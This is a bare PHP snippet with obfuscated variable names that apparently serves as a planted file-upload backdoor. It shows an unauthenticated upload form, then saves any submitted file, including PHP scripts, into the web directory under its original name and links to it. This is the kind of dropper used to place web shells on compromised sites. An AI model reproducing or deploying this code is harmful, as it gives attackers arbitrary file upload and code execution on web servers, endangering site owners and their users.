if (isset($_POST['io'])) {
	     $rid = "";
	     $tbon = $_FILES['zb']['name'];
	     $kgo = $_FILES['zb']['tmp_name'];
		     if (isset($_FILES['zb']['name']))     {
		     	$zby = $rid.$tbon;
		      	move_uploaded_file($kgo,$zby);
		     	echo "<a style='color:red' href=$tbon> $tbon </a>";
		     
	}
	  
}
	 else {
	 echo'<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="zb"><input type="Submit" name="io" ></form>';
	 
}